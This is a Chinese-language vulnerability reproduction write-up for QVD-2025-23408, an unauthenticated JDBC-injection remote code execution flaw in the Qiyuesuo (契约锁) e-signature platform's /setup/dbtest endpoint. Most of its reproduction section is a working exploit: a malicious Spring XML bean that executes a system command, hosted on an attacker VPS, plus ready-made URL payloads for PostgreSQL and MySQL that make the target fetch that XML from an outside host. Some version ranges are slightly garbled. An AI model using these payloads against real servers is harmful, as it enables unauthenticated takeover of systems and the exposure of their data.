0x01 简介
契约锁是上海亘岩网络科技有限公司打造的电子签约及印章管理平台,联合权威机构提供数字身份、电子签章、印章管控及数据存证服务,助力企业数字化转型。其电子文件具备法律效力,支持多种签署方式,可集成业务系统,满足多行业需求。
0x02 漏洞概述
漏洞编号:QVD-2025-23408
这是一个严重的远程代码执行漏洞,该漏洞源于管理控制台存在未授权 JDBC 注入漏洞,攻击者无需身份认证,通过构造恶意数据库连接参数,在 dbtest 接口触发远程代码执行,这可能导致服务器被完全控制、数据泄露或业务系统沦陷。
0x03 利用条件
1)影响版本
4.3.8 <= 契约锁 <= 5.3. && 补丁版本 < 2.1.5
4.0. <= 契约锁 <= 4.3.7 && 补丁版本 < 1.3.52)所需权限:无
0x04 漏洞复现
访问/setup/dbtest或/api/setup/dbtest
对POSTGRESQL数据库进行利用
新建1.xml文件,内容如下,放至自己的VPS上
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>
执行payload:/setup/dbtest?db=POSTGRESQL&host=localhost&port=5321&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2F100.XX.XXX.85:8099%2F1%2Exml
mysql数据库payload:/setup/dbtest?db=MYSQL&host=localhost&port=3306&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2Fxxx.dnslog.cn%2F1%2Exml
注意:是否存在/api/路径需根据实际情况判断,如存在,payload前需添加/api/